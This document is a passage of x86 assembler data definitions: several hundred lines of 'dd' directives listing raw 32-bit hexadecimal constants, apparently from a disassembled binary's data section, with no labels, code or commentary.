		dd 9D3A4634h, 6E904410h, 130F2800h, 699FEB16h, 18C40053h
		dd 0E07AE777h, 3A014717h, 2A42AC55h, 60819CE4h,	0A324B0A0h
		dd 3B0030D3h, 0FC2048B8h, 26E01341h, 1FB82CF5h,	0AC80028Ah
		dd 0D92CD1C3h, 66118EBh, 22D4909Bh, 0D72619DEh,	0E1009031h
		dd 9578ABD2h, 56FC180Ch, 0E42280F6h, 7D3C29CFh,	0F409E0D6h
		dd 0BA90900Dh, 0EC990EB5h, 300B5D8Bh, 9180ACAEh, 92AB0E3Ch
		dd 57F8D318h, 4AD6E731h, 18F8D2C1h, 0E009E05Ah,	82086A0Dh
		dd 20505940h, 61C2D724h, 5802E85Eh, 0D903C723h,	805411B0h
		dd 0C238C62Eh, 5496971Ah, 0C6267B00h, 8E85C804h, 99960637h
		dd 214CC725h, 81003B79h, 0B09C012Dh, 8658A6h, 4F892FF2h
		dd 1A09CEAEh, 54B042EEh, 2A4C244Ch, 360BC451h, 0AEB61374h
		dd 0CF6961A0h, 1F2E7E52h, 64D0243Ch, 0C6336059h, 52C22339h
		dd 80005311h, 4C88C62Bh, 2CF34A09h, 0C84E8760h,	183F5D70h
		dd 0B40C0025h, 21E2168Ch, 1D3EF4F2h, 41AD5CD4h,	84203AC4h
		dd 0CD065Fh, 0AB6E141Fh, 82D0E0A8h, 556DF400h, 90E239AFh
		dd 91DC9658h, 0E8884E74h, 80933F0Ah, 0CE423280h, 0E4C24D9Dh
		dd 0E899CC1Eh, 0E6A56DC4h, 284AB8ACh, 0AB894908h, 65E02C40h
		dd 25E10068h, 58BA317Ch, 0D13A0C5Ah, 0CF059CAFh, 888E9584h
		dd 73607898h, 673779D4h, 20F65191h, 0E845DED7h,	0F4267C74h
		dd 240BD63Ah, 9B0C90C7h, 9CA70255h, 3F52BC79h, 0E744147Ah
		dd 0B628E43Ah, 69540264h, 0DC84CFF0h, 644845B2h, 48FBF088h
		dd 8326A2C1h, 0A3010938h, 247A346Ah, 4D5D5F7Ch,	97D84814h
		dd 0F8F64095h, 0FD2065E0h, 6E5D7302h, 618CBAF4h, 68681C88h
		dd 0D7094456h, 1C79B00Fh, 5A802831h, 96BE0841h,	238FC980h
		dd 279D1310h, 0F393D100h, 0A75A867Ch, 11E73F41h, 3824EE26h
		dd 7083742Dh, 409A3839h, 0C1164050h, 948FA2F3h,	9C05188h
		dd 250C7FEAh, 0FC83FAECh, 1CC1368Dh, 0C0022B76h, 8124D0C4h
		dd 0E39296F7h, 0C20BBC3Dh, 44A10869h, 0C829D404h, 4B45BF8h
		dd 0F3C2A341h, 506069h,	468D09CAh, 40828CAEh, 35028545h
		dd 0DA1440FCh, 3A7C917Fh, 6E5B50C9h, 92430010h,	0AD80392Ch
		dd 5DF8A061h, 0C4D94BCEh, 87CCBCDCh, 223BF36Bh,	0C0D7A5ECh
		dd 0DFF04634h, 172A4211h, 64C0A864h, 8441E222h,	1FC926F4h
		dd 80FB6A5Ch, 91EE750h,	2D4456F8h, 0A480A1C4h, 442E6020h
		dd 844463D5h, 109897BCh, 0AB09CF55h, 0D12CEE14h, 0DC46080Ch
		dd 4089C205h, 0F8C1D4F0h, 1001979Ch, 70BE5FA1h,	9CBE37DCh
		dd 0E491D801h, 8105DAEAh, 2D8118C4h, 0FA740FE0h, 560F905Dh
		dd 8DCCCE87h, 0C4902D80h, 20F4C930h, 46BBBBAh, 0C1E8E3DCh
		dd 8BBC82B0h, 72089828h, 96C40BE7h, 9C11F01Dh, 1500AE8Fh
		dd 6DADBFDEh, 0CAC4909Fh, 808600B2h, 49B6B5A7h,	0C2DF02ABh
		dd 51EE08C2h, 3F8C8297h, 90A100D6h, 95487582h, 58C410B0h
		dd 9F858840h, 37D6E880h, 9112BC67h, 98805FC8h, 4265254h
		dd 8EFBE556h, 0B0490DDh, 0F7402EE4h, 277112C6h,	0ADB0471Ch
		dd 8206D794h, 4E8D5FEh,	30299A4Ah, 54E2208Ch, 0F99C3317h
		dd 34F41E40h, 0F7214042h, 24AC602Fh, 192B07B3h,	0D0622AC3h
		dd 8FCE9348h, 6B15F612h, 0B64E5CC8h, 0D860251Ch, 132EA3A6h
		dd 0CE145C85h, 24232EC4h, 0FD8AB40h, 0BB3500CAh, 5D26256h
		dd 306AB6ACh, 0A0392828h, 68AB308Fh, 1F3EDF99h,	0A5D94F00h
		dd 0CEDA0F44h, 2D0BC49h, 59E817DDh, 0DF0928DAh,	91658BFFh
		dd 80154D7Ch, 0CBC50AB0h, 381248FEh, 9C6191D6h,	0B0F8673Eh
		dd 837F000Fh, 0A158127Dh, 3898B7ADh, 0A2F3DE25h, 21632C70h
		dd 341EBF69h, 0F48E3DCh, 0C2099F18h, 20D864DCh,	190F6B74h
		dd 2F6DEADh, 68DB59C6h,	16C30494h, 0A377BE06h, 3097E2E8h
		dd 0CCA06B84h, 0C58265F1h, 0AACB09C0h, 708DCC07h, 8FBD8B56h
		dd 174B41C3h, 161CC013h, 918D035Eh, 7861C4C7h, 0CCEC94B4h
		dd 5913C274h, 84A47520h, 38E9401Eh, 0D1346A30h,	7C26E383h
		dd 2231D3F4h, 0C84D2E08h, 0AA87CAC0h, 2BA9000Eh, 0F7610DFh
		dd 8D35BEA2h, 0CC88E89Ah, 196C0990h, 880B027Dh,	8CE0A812h
		dd 32813D46h, 70807C7Ch, 42FDD9F7h, 6CCAEA00h, 41FA76C3h
		dd 7BF30044h, 0E63E9A94h, 829D342Ch, 9067BDD8h,	2D3A36ACh
		dd 0D8978AB7h, 0EA807C91h, 27A8BC4Eh, 0FF718201h, 9CE8F74h
		dd 9B4E986Dh, 0A7EB8074h, 0C1F0F1h, 57EE8BBFh, 7B9BB05h
		dd 420182Eh, 53A468Bh, 30D92F38h, 2E925660h, 0C430515Dh
		dd 541540E9h, 5C4B829Dh, 5D80CCADh, 0DD3E3D23h,	1DF09E02h
		dd 801617F1h, 0A6A925D3h, 9F2201B4h, 19CEE555h,	73E43579h
		dd 91167674h, 8C938578h, 62193FAEh, 457B8011h, 8489F018h
		dd 0DC4C9442h, 23F02F97h, 0C7F8004Eh, 485FC23Eh, 6F6FABF8h
		dd 6F900D9h, 318F747h, 0B64E3494h, 97C8B732h, 0E05C9B14h
		dd 77C0162Ch, 9A22788Eh, 0DD344048h, 105D0E40h,	5CED9FC2h
		dd 0C840BE76h, 345E0321h, 163DBB90h, 326A6ECFh,	401438C4h
		dd 3F25D86Ah, 70E67CE2h, 3AA0C1F1h, 5EC7C005h, 8039F8E2h
		dd 4BE72242h, 0A1EC4022h, 4487C96Bh, 0CBDF9900h, 59806558h
		dd 6A0A1E1Bh, 8FDCC286h, 687426B7h, 0D8C17544h,	0EC702254h
		dd 0C203883Ch, 82A4E1B5h, 6505FC26h, 97071EEBh,	53602504h
		dd 0E4401094h, 0E0696481h, 5AF04A82h, 55C8ACCBh, 0FF0FB4C0h
		dd 784D0199h, 0EA1B766Bh, 264832EEh, 467E3C30h,	0E62A009Bh
		dd 5AC3F0B7h, 45EE4AD9h, 1CE88DA0h, 5244E4B8h, 5850DC53h
		dd 489B09E9h, 3CD99037h
		dd 0DB1B4100h, 0DFEEBBh, 9A383DB6h, 0B9693946h,	0E338B05h
		dd 18F08AECh, 0AC7D00F1h, 0C2D4318Dh, 0A12DF6E7h, 0A294699Ch
		dd 5CF53117h, 65EC7091h, 288800E3h, 5BD2B8E5h, 0B83CD1A0h
		dd 2FE6014Ah, 0B262B130h, 79489148h, 9B189Fh, 0B209767Bh
		dd 3E7E9428h, 4832BC0Bh, 0AC5C1061h, 34926Ch, 0F064EDFDh
		dd 0DBCE0F8Dh, 5AE9F103h, 0F1923998h, 54382017h, 4FEEEB02h
		dd 0A054BD84h, 172FE58Fh, 5206FC09h, 0A5D160Ch,	0F150221Dh
		dd 8A6A724h, 4EB0E9E0h,	0C0FE502h, 91FD8E14h, 0A841BBF8h
		dd 5F006DD1h, 829F3810h, 762CE5B0h, 3CE44330h, 835A880h
		dd 23CF8E01h, 28B8DDBBh, 2D9168CCh, 8044EC15h, 0F258C481h
		dd 5E0BD901h, 9A6280C0h, 741096E0h, 27CE946h, 0CEE7BDBEh
		dd 48729B89h, 0B663DC16h, 6A00647Ah, 6F398C0Fh,	530210E3h
		dd 61F6E526h, 0C55F0096h, 4317B517h, 0C8F2002h,	42FEB788h
		dd 9804F5B7h, 1E167341h, 4041FAD4h, 0E572E098h,	93BEFB15h
		dd 0AC3A00E4h, 0A86FCCCAh, 0DB0D0214h, 195B9162h, 58695460h
		dd 5EBC839Dh, 0DD60C930h, 5E716230h, 0DCC0FE0h,	40D7C2A7h
		dd 465D8B1Eh, 5020306Bh, 0EC108B10h, 74BCA0F8h,	6A0F178Ch
		dd 3C10B4C3h, 0BFEEFF00h, 4D0AE68Dh, 1AA0B84Ah,	60E87F25h
		dd 0F24404C7h, 0B1870160h, 0F9D19907h, 2642DE1Ah, 597460B8h
		dd 408858BCh, 0A5DD9882h, 0EE78FC73h, 20185CA9h, 2659F611h
		dd 0B6087C25h, 12921AE9h, 7C11941Dh, 927B3980h,	90EBCC3h
		dd 568C40BBh, 83B85804h, 44192A01h, 6DFC7C6Bh, 987280EEh
		dd 6D29E200h, 0BC7712Ah, 27411A00h, 1B6E368Bh, 5A80B2B2h
		dd 47C44023h, 81C3BC06h, 2EA48000h, 31B64DD3h, 0C2970942h
		dd 58FABEACh, 544B8B00h, 0E2685783h, 1CFA17h, 380CFE48h
		dd 695B3594h, 59C11090h, 95AFF9E3h, 0A0ECE444h,	4CD2BF80h
		dd 0A70F019Eh, 642EBDh,	8B488AEBh, 3C98A0DAh, 0A3DB130Eh
		dd 57444D6h, 7B5CC908h,	94CEF420h, 0C2780041h, 0AC1D21E3h
		dd 0F4B45608h, 0ECFC6740h, 0FE950015h, 277C56Fh, 890B0DB4h
		dd 710EA2F9h, 0FB838200h, 0CCC4D83Ah, 157838F9h, 0CC6BABh
		dd 0D48887CDh, 25B5463h, 95CA7006h, 3CE1FC96h, 49024CBh
		dd 61F69F2Dh, 0E0005B74h, 100BA031h, 1FEB16E4h,	8B4F11C4h
		dd 8A08EDBh, 210D0263h,	54C4BD53h, 9EACEE00h, 4A7A9A1h
		dd 0BFC300E4h, 1247F8CBh, 37388918h, 0D05A1D80h, 0FCD01B12h
		dd 5B1191D6h, 83742802h, 38CB0488h, 61B011E7h, 0D5C6DD31h
		dd 910C9DB5h, 0EB838053h, 2C0195C9h, 8589FEAh, 42EF222h
		dd 0A602004Ah, 856E76h,	3A2F05E3h, 91C0229Dh, 8610089h
		dd 85FC5F96h, 0ABBA4200h, 0D437C2ACh, 20CC90D5h, 0E327A035h
		dd 28E0460Dh, 20206B7Dh, 339D59EBh, 53188100h, 6C913201h
		dd 0F52980D4h, 7AD0A8h,	2E0E7D67h, 5C1D4AA5h, 0D32F04B8h
		dd 0B5C410D5h, 0E473F5h, 0CFCD16E9h, 504403B0h,	0D0313Eh
		dd 1A38F67Fh, 0A0BDFBE6h, 8EC030h, 8B6A3EACh, 75B3341Bh
		dd 0E7261125h, 8E9CC2C0h, 8E9C083Fh, 90BD5A5Ch,	0C8785654h
		dd 0C7B95Ch, 20829D34h,	0E6CB4CACh, 251E67Ah, 0E449FF2h
		dd 8CD86AF4h, 16108A4Ch, 0C41792B2h, 0BD9E1CB0h, 0A576EC31h
		dd 0D7504161h, 0DC640405h, 10016078h, 7CCE00F6h, 0BF122619h
		dd 8848228Ch, 0AAF98020h, 9E389164h, 79AB090Ch,	0B210DCE8h
		dd 622D1319h, 95025F78h, 407A1C10h, 0A66322E7h,	88023C51h
		dd 0CACCDF8h, 0C2D42BA1h, 48B75C0h, 2DEEE7D0h, 100A5C72h
		dd 0AE85B441h, 88A605DDh, 38C69C20h, 98D91618h,	80B82258h
		dd 267DFC58h, 0A80E50A7h, 0CC9C765Eh, 201E8250h, 3C8D8A23h
		dd 858302Ch, 0A102EF1Eh, 0E060058Dh, 5A69B870h,	0A08854C1h
		dd 13065F22h, 5E51BE2Bh, 27737E10h, 8C69F0A2h, 0D808D226h
		dd 444044AFh, 0CAFE0B5Eh, 0D081025Eh, 0E804854Eh, 8CF2BCE8h
		dd 0DD638E00h, 724F0E4Ch, 90FD0278h, 0EC21E0D9h, 0DEA4F0C1h
		dd 6E38C01h, 37C100D3h,	77B7557Bh, 70F59BEBh, 0BC2FC0h
		dd 4674382Ch, 6B1300F1h, 0ED77C298h, 89AE0459h,	0F0E2928Ch
		dd 0EA2E60E8h, 386C71h,	0F06995ADh, 0A0942F9Fh,	0BE7FAC98h
		dd 0EED90AD8h, 0CE044F44h, 0ED208945h, 2DCC3061h, 0EC2AC4A8h
		dd 0C6CD1409h, 87580664h, 0E3CA0A19h, 3BCDB92h,	18573E91h
		dd 13C272C8h, 0A5033A17h, 859EA4A2h, 91602CDAh,	829F469Ch
		dd 85E0B81h, 1DD058ABh,	332DBEA2h, 0F5AA1B90h, 2BB07141h
		dd 0A8210C8Dh, 0C2D72E1h, 2B25C449h, 29805071h,	896B35A3h
		dd 0F8D40901h, 245C544Fh, 5A409E9h, 8841A038h, 91882F27h
		dd 0FBE31882h, 48918549h, 9FF8D415h, 21DE5B20h,	0D0CC9E45h
		dd 229D85C2h, 7B200441h, 204FDA05h, 0AB206008h,	0DA94EB83h
		dd 0A7A82155h, 0E1000AFh, 0A3DE09FCh, 0C4D882B8h, 1DC912A8h
		dd 5F302047h, 6C604820h, 0D5BEA160h, 6B18B672h,	8C9547Ah
		dd 34A708E5h, 55CF8A62h, 20F350A1h, 78DC2ADEh, 0D0480447h
		dd 4EEE8CBh, 0D9699108h, 0A10820D8h, 78DE6225h,	8E37066Ch
		dd 69D371C4h, 8A50C1D1h, 2D658C5Fh, 13C10CC0h, 0D91D605h
		dd 19A9AAA8h, 17B4620Ch, 60F3602Eh, 0DAF36B09h,	91C414A1h
		dd 247C740Ch, 41CE8F0Bh, 8EC249Dh, 0ED998523h, 0E035029Ch
		dd 14A5B8h, 22F561A6h, 26B51B67h, 4AC72518h, 5915C1h, 420D8517h
		dd 1149C07Bh, 0D5C86A02h, 805F3053h, 384424D7h,	0C8855A0Ah
		dd 8612A50h, 685D9F98h,	0DC841989h, 89B8C882h, 49BF6921h
		dd 66363982h, 8C2092F3h, 7EDAD56h, 65253595h, 0ED9465BEh
		dd 4FB41090h, 0F4503F31h, 69830072h, 2E2145BEh,	0EA23982Fh
		dd 52909400h, 983225CBh, 0F99E20FCh, 0AA91BB06h, 0D6B91C6Bh
		dd 1084A290h, 0C7176634h, 9BFC4CC2h, 4A5FACA8h,	1D116053h
		dd 0B57602BCh, 0D8A08962h, 4B757590h, 1EF84323h, 0F3A84683h
		dd 7B0036BBh, 446181E3h, 0AB64123Ah, 9ABCF8A4h,	4C049789h
		dd 0B878109Bh, 0DF008CEEh, 4588B3E7h, 9FEC205Dh, 0D4345CA0h
		dd 4744E492h, 94BE2633h, 0F40B82A0h, 2201F30Eh,	50AF855Bh
		dd 7800D844h, 0ACECD15Ah, 7DC6FDh, 37714AA3h, 0FA87E52Fh
		dd 0BAA1900Ch, 3D3397Ah, 5838D9C2h, 0E1011904h,	0C6966C64h
		dd 30A697E5h, 4D7117Ch,	0C7CC0431h, 57C45C90h, 0D879D4FDh
		dd 1813A319h, 125F0CC2h, 0B97FB8Dh, 1C468CE0h, 91FC353Dh
		dd 9A883D0Ch, 0FC2D4580h, 9829CA9Eh, 198E602Ah,	995CCB19h
		dd 0E05B6200h, 0E2A4342Dh, 11921E30h, 0DF08C40Dh, 0E5F48079h
		dd 0C5952732h, 6099E498h, 7D78F95Dh, 0B450E08Ah, 0F6E7059Ch
		dd 3AF842E9h, 84493C2h,	0C3ADBA0Eh, 291A62E2h, 0B028F2E7h
		dd 6D04224Ch, 809CC74Ch, 653FF024h, 9AD1133Eh, 80189417h
		dd 8333D929h, 0DF0028E6h, 43FDE230h, 0C0B5A0Fh,	798C7B17h
		dd 0AD00C070h, 0AFD66F39h, 123F34DFh, 0A9912B5Dh, 93E91158h
		dd 65A26095h, 0A7F9E320h, 0BF933E48h, 2CF8FB31h, 0B86A2B51h
		dd 88648010h, 2FCC64D2h, 2F842043h, 0EC926017h,	0A1D1C03Eh
		dd 313AAC55h, 0BF043D1Dh, 0FEFFC2C3h, 0DF6A88A9h, 202E01Ah
		dd 0C55FA837h, 8CA980C7h, 6A05345Ah, 6B8F7C04h,	43FDC24h
		dd 9C584700h, 0A2543539h, 80334300h, 492B4482h,	244128ADh
		dd 8B60000Ch, 0AC3F2842h, 80207139h, 9A541E9Ch,	0AF0F7C37h
		dd 0AC8F283Eh, 0B0872B8Fh, 5BC7DE35h, 9E52C03Ah, 50743242h
		dd 80364803h
		dd 0B0393DB0h, 0C12D4A5Bh, 4C323C28h, 473AD8A7h, 653BA906h
		dd 40A83Dh, 58F6694Dh, 2E449A48h, 43B28016h, 0E145BE00h
		dd 3E5B6B8Eh, 45064F6h,	80466063h, 1D6547ACh, 51288F00h
		dd 31F67C85h, 9E79DF4Ah, 703918ACh, 516E323Ah, 35E19818h
		dd 4208A857h, 9D503E2Ch, 9F4E2405h, 80381BFDh, 25A883Fh
		dd 492C47ADh, 5B9B00A9h, 661835F9h, 9CE81746h, 2A4C303Fh
		dd 5E807F38h, 7CE33A50h, 0A43DA0A0h, 34582300h,	8365115Bh
		dd 8FE0009Fh, 2643AD30h, 0E1CE8927h, 44678676h,	4E540178h
		dd 335237A8h, 80280C8Fh, 47043D19h, 80531DAFh, 4E037E28h
		dd 2988542Ch, 3470E459h, 337C3D8Bh, 84240BF9h, 0A05908B4h
		dd 66E49182h, 8848DCD5h, 0EB831204h, 99FBBFBEh,	0B8292640h
		dd 0CEDA0403h, 181DFA65h, 78D60861h, 0C01110F2h, 99D85899h
		dd 0C208D348h, 8BBA1312h, 576AC0C2h, 142C5C18h,	5888A641h
		dd 0EBA77B60h, 94601840h, 0EED9A111h, 6189556Bh, 70065D90h
		dd 0BD82C710h, 461A8058h, 0D4C45916h, 0F0C860DCh, 804A28B8h
		dd 25F3C17Ch, 0E4A5F936h, 586818B6h, 5D8A44E9h,	0B7B810ACh
		dd 0B8ACD1D2h, 0B8F0DF08h, 2167D188h, 20946294h, 0FA392316h
		dd 770E6451h, 3842648Dh, 0C488555h, 2FD82C2h, 0AE577922h
		dd 54740508h, 1810ACA2h, 1C051261h, 0A04EC0BDh,	0E58870A8h
		dd 6F5D20CEh, 0D8C75513h, 885ED4A8h, 695EC69Ch,	6F2FD821h
		dd 0FC202880h, 0CEE77EAAh, 0A2A2DD27h, 0A759683Ch, 2485840h
		dd 0F442FC0Dh, 5197BC00h, 5D3C0AE5h, 0BCD8DC08h, 0B24D62Ah
		dd 0D7C430C6h, 5E3A1C05h, 8C710B98h, 9E05A060h,	865F8F13h
		dd 185508B8h, 404020E1h, 122EFCDDh, 34C25E0Eh, 38446704h
		dd 0DC4AF048h, 536AE351h, 98940404h, 0BF694275h, 35BCE43Eh
		dd 0D4173F8h, 9091DD04h, 0E5C86318h, 0D5326B64h, 8855DB19h
		dd 0C4CB1C08h, 18022568h, 29B63D74h, 41797985h,	405FA58Ch
		dd 0ED408845h, 0E04E6544h, 0F89C8B38h, 538409EFh, 0EEC41EDCh
		dd 0B1ED0284h, 2751690h, 0E05B1EE4h, 4011E30Ch,	4216845Eh
		dd 18CFA7C4h, 7E88E484h, 0B888E410h, 1A2B0527h,	0BD5EF71Ch
		dd 1D3B8FCh, 242F2CF4h,	0C70F34D9h, 0F896C4A8h,	0C028B94Bh
		dd 7C989622h, 2E1CF146h, 0D6D7003Eh, 0FA218D56h, 0FCACBD09h
		dd 0D0ACFB3Dh, 4900BED8h, 0CA1FE303h, 0EE6E262h, 0D12BCE0Fh
		dd 2B8DB0Dh, 5C9D8799h,	8980F011h, 3837D06Eh, 0F9F7805h
		dd 98A9BD6Ah, 46C7D507h, 0B2DA20ACh, 9036BF3h, 7798FD2Bh
		dd 0B3C08838h, 44459548h, 2A1D9011h, 0AC6B051Ah, 31844078h
		dd 855F01EDh, 10CA3802h, 401CC9FCh, 293488Ch, 36CCD8B4h
		dd 3C7EDF92h, 7C139441h, 9A14C83Bh, 64000378h, 8B302425h
		dd 94EA9228h, 5488000h,	0A6F92E55h, 0B1FF2601h,	8D3073E3h
		dd 9336088Eh, 67005DC8h, 0D39FAE0Eh, 4B1D278h, 0B6CA11A8h
		dd 0F42F4F1Ch, 8039EE23h, 7F8371A7h, 42C95Fh, 0C6DBA8BAh
		dd 60ADD606h, 0DCA9BB12h, 72F254E2h, 0A9F7030h,	94A45650h
		dd 0CC39608Ch, 3603C346h, 639F98F8h, 0E257E488h, 3075F2ECh
		dd 4B3DBC74h, 61E8803Ah, 29DF2592h, 99DA001Ah, 0B30E2BB0h
		dd 31E3598h, 0A1474D94h, 0F1F9FFDDh, 189879F8h,	0A08E2C39h
		dd 0E0841F3Ch, 0ACE22E4Ah, 0E2309FE2h, 0B0BD0065h, 0A3133B5h
		dd 0DC006DC7h, 0EBB78C9Ah, 983961F6h, 47BE4E6Ch, 0E0767034h
		dd 0B3F155AAh, 0D0AE1512h, 64C69B00h, 1CC45099h, 89389202h
		dd 0AC5644E6h, 0A83ADD91h, 0F909B780h, 0D5F33625h, 0E2C823F9h
		dd 0F65F30F2h, 0E912361Fh, 2DA784FDh, 84410DE4h, 30BC38D7h
		dd 8F012AE8h, 32C431C2h, 3C7069h, 7B1291C0h, 0A840C2D5h
		dd 0DE0588F5h, 3DC1F360h, 27A07633h, 74DB40FCh,	8BC1E759h
		dd 0B5AB2060h, 9A882C90h, 98D4C301h, 367FE7CBh,	5E8D70h
		dd 93C2AACFh, 0AD85582Fh, 4E48AFBFh, 7008C083h,	0E46C5Ch
		dd 1F5D2F52h, 5F34400Ch, 9EC53F0Bh, 855C02B8h, 0F18071D1h
		dd 93C81F93h, 3117174h,	0BE31CF56h, 80417E14h, 5E30FAACh
		dd 5D95179Dh, 0C054B259h, 489D5718h, 0B8E26DDh,	4AF0018h
		dd 9F0E3A3Fh, 48D0235Eh, 0BCF1CEh, 6C16C096h, 0AE9AC5A3h
		dd 51334902h, 0C85E48DAh, 2F59D608h, 0D4E49439h, 2E027702h
		dd 41E0128Dh, 18A43294h, 0C57363F8h, 1FE4DBC0h,	0F9677C00h
		dd 0D9ABE606h, 266EE2Bh, 74FA1CAh, 5C56C8C5h, 85929987h
		dd 8DFB1D0h, 2A8800F1h,	9DAD43AEh, 0F800A03Ch, 0C43ADCFEh
		dd 4285E2h, 0DF7BE0F9h,	0F4D63522h, 655A13Fh, 617ECA5Eh
		dd 0E1F70318h, 8ABE95C6h, 701E9900h, 0B5091425h, 3823EB53h
		dd 74DC805Eh, 0B40034D4h, 0E5535424h, 2CAADCh, 8742B6D1h
		dd 9836622Bh, 915D39h, 0A42F12F8h, 0F9E33Ch, 84BEBCD8h
		dd 41E8328h, 6917D909h,	452858C2h, 0FF643096h, 86AC7B18h
		dd 78562879h, 49E4E599h, 0D1B9017Fh, 9A402536h,	0F4D6F235h
		dd 0D48EDB81h, 8AC4551Eh, 22401816h, 8538604Ch,	8CF0BD00h
		dd 5B4292B0h, 0B17F053Bh, 2E64529Fh, 0ABA00C04h, 3FF1054h
		dd 0C3D542DBh, 2100673Ah, 0ED8D3843h, 0F4A7162Eh, 7AB57CA6h
		dd 0E5098239h, 485A8106h, 0FE819478h, 21B92890h, 4C67F99Dh
		dd 991F0450h, 21B03963h, 0F75ECF0h, 1EB9899Ah, 18A16786h
		dd 39BD8E33h, 7641EE19h, 0C167301Eh, 79EC6118h,	0D8AC39C5h
		dd 0D1746000h, 465F77h,	7B26F09h, 0F0B8EEF7h, 53C2F900h
		dd 0D6AFF16Eh, 3491C27Dh, 98AF5B86h, 0C0E9DB00h, 6C0032BDh
		dd 0C15CB63Bh, 0C34922C2h, 893CAB21h, 0F64856A0h, 19C01FEAh
		dd 0C22C65A2h, 4BE85Ah,	0B9846CA5h, 7D675FEFh, 3F0050F8h
		dd 396E5E36h, 376FA3Eh,	0AB299B70h, 8019AA0h, 0DF048E66h
		dd 5CE8D5AEh, 23C215A4h, 0FBC04C5Ah, 0B23C529Eh, 0E076A229h
		dd 3020E01Eh, 0AF488138h, 0F0C88331h, 155E110Eh, 0ACB7E1h
		dd 825A253Eh, 3D8A711h,	5F78BF7Eh, 482CABEBh, 0B43D5E64h
		dd 0E0202076h, 0F1D52ADBh, 0AFF686D2h, 36400C18h, 7E217453h
		dd 3930B6F0h, 3CAD7171h, 886451CDh, 488051E1h, 0BC65ABF7h
		dd 8E3013C3h, 1E987155h, 0F891E991h, 0C60B0082h, 0D4C8D8EAh
		dd 514E0CB8h, 0DDC1C58Fh, 691B2800h, 0B613D0F6h, 5B483AFEh
		dd 0E584068h, 0AF026E9Ch, 104889D5h, 10CA0770h,	68098C1h
		dd 0BADBF0F7h, 0CD2B038Ah, 395E666Ch, 31CE439Ch, 3C75A1DFh
		dd 0FF157422h, 0A300BCACh, 12D38B37h, 89300E58h, 57FE7962h
		dd 23710009h, 0AC5AF6E6h, 0B0C06A2Ah, 5BE906B8h, 442C90AFh
		dd 0A703DB3Bh, 0A9ABF993h, 0C8F1FB91h, 1803146Fh, 0D1B1A066h
		dd 0A900844Bh, 0B021635Fh, 1924ABDFh, 21A13574h, 221C24E9h
		dd 88173845h, 805E3084h, 2B2A9BA9h, 0AC14B5CFh,	0CFD44DD6h
		dd 0A80DD218h, 6058519Eh, 1C3C31F4h, 0D8D62A21h, 573E837Ah
		dd 260CD0F3h, 0D58F8B15h, 254404D0h, 20837B2Eh,	0A569F0DBh
		dd 7A990067h, 2BE9D93Bh, 6C5633E6h, 296D0514h, 300420D6h
		dd 0C127333Ch, 0F07FCF69h, 0A9D2398Fh, 727E701h, 9D40103Fh
		dd 30AAA2Fh, 0F9E5FFD9h, 910BB98Dh, 8082A5B1h, 6198662Dh
		dd 0D4AF12AAh, 60C4497h, 2F68C490h, 0A4610828h,	3D13747Ah
		dd 18BAF388h, 0AA7F59C1h, 0C078392Ah, 0CD6DD003h, 2BFE85Fh
		dd 8737B561h, 0C2406779h, 0E648B9A8h, 6036881Ch, 3EB0F98Eh
		dd 52A6F714h, 88A42198h, 1832DC29h, 616518CCh, 86F47E44h
		dd 2C634120h, 5030C091h
		dd 11C1CB86h, 9EC236B2h, 3B348C4h, 0D5A6D3F8h, 0CB9AD628h
		dd 0ECDF3880h, 0A0F9B987h, 90ABD8F0h, 3F0A5DC0h, 0EE4EE806h
		dd 38815744h, 0BDB40E20h, 60049240h, 41DEB227h,	0C9CDE59Ch
		dd 0A1072082h, 4004F62h, 13AE18DAh, 772061h, 8766C5ACh
		dd 3E05566Dh, 30042540h, 0D9DB7880h, 3CEB48EAh,	6200F839h
		dd 5510410Ah, 44A1ECF1h, 1518305h, 1DE6E9DCh, 9F2DF631h
		dd 0EF80B09Dh, 704CA94Ch, 19263E6Ch, 6518D15Dh,	0DD726F20h
		dd 3DD58418h, 993900BAh, 5D79A76h, 66059FADh, 96C02162h
		dd 9C308789h, 4983EE22h, 0B410506Ah, 0EF7940D1h, 8AE981F8h
		dd 8CA18618h, 0C225F140h, 2B690176h, 0D622DBDAh, 38BCD0C7h
		dd 0C04A602Ch, 83F1B880h, 0E0DD5FA4h, 0B018D023h, 8B026922h
		dd 0DFACBE1Eh, 0E9F8A779h, 28DBC6B0h, 9DE4BDh, 7B615E78h
		dd 771A3F9Ch, 70988024h, 7A09369Dh, 204C042Fh, 908E3944h
		dd 9D73E184h, 1790597Ch, 0BC61A7F8h, 0A5EC8F60h, 7B99E0D3h
		dd 0C0BCA29Dh, 0CB458A5h, 827ABA9Fh, 17018FF8h,	20644DD3h
		dd 2990A033h, 81378427h, 0F9420348h, 471324A1h,	27504193h
		dd 0FCBB506h, 442B7C9Bh, 0B1DEF2E0h, 56036685h,	0C459FC29h
		dd 0DA20A81Eh, 959F0016h, 11149051h, 8A0707CBh,	0ED697C84h
		dd 7786403Eh, 339571h, 51B03483h, 49117958h, 733F4C0Eh
		dd 0D1F6A185h, 0AF30B7AEh, 6AFB1898h, 0A2A729FFh, 4E0C3E00h
		dd 0E0F1E220h, 0F2AC0360h, 0E8C9EFC6h, 65BB06D0h, 0EB620h
		dd 76589BCEh, 5BCCA494h, 7333FE1Fh, 0B6892280h,	404923h
		dd 69B5E3Fh, 0E0DE9E7Fh, 6297370Fh, 3EAC80AEh, 9039E3h
		dd 0F73C5643h, 7AAB1BA2h, 0B8911400h, 787BE147h, 0AAFB51F1h
		dd 3435E20h, 863DFF23h,	0C9C06F91h, 0A50E0E92h,	20144110h
		dd 0DFB75FF6h, 9303002Fh, 0F919E45Ah, 0C200B436h, 465E26Ah
		dd 264BAAFEh, 83C056C5h, 16800870h, 8DF2BDF8h, 6B345A00h
		dd 0E0A9CC02h, 60451E77h, 553340D8h, 0CACB307Dh, 40006C98h
		dd 0B8217083h, 95E2FBh,	8AC8A02Bh, 0C10A3816h, 0E32F0C0Fh
		dd 3BF1A0CBh, 0A0C7BFDFh, 0FE0D27A4h, 0AD29005Ch, 0B0316EBh
		dd 7F0070AFh, 1354EF32h, 3BBFC15h, 0C3805551h, 59E0D752h
		dd 0D9CCB379h, 0F8731117h, 705C00AFh, 0ADD202DBh, 6901B4CDh
		dd 0CB142E5Bh, 0BFF80AF5h, 9C7A30h, 5DC84E09h, 51B53DF4h
		dd 0BD761903h, 9032BCB2h, 444947h, 0E8CC1E69h, 8AF12233h
		dd 1001FE72h, 29F26573h, 9420B63Dh, 0E55E0349h,	51501ADBh
		dd 0B3AA9BB8h, 0DFD4AB02h, 48FC68FDh, 0D0B228h,	30F0C463h
		dd 5C4703ACh, 1E7E551Dh, 7A827B40h, 0F5FD75h, 8ECFB7C5h
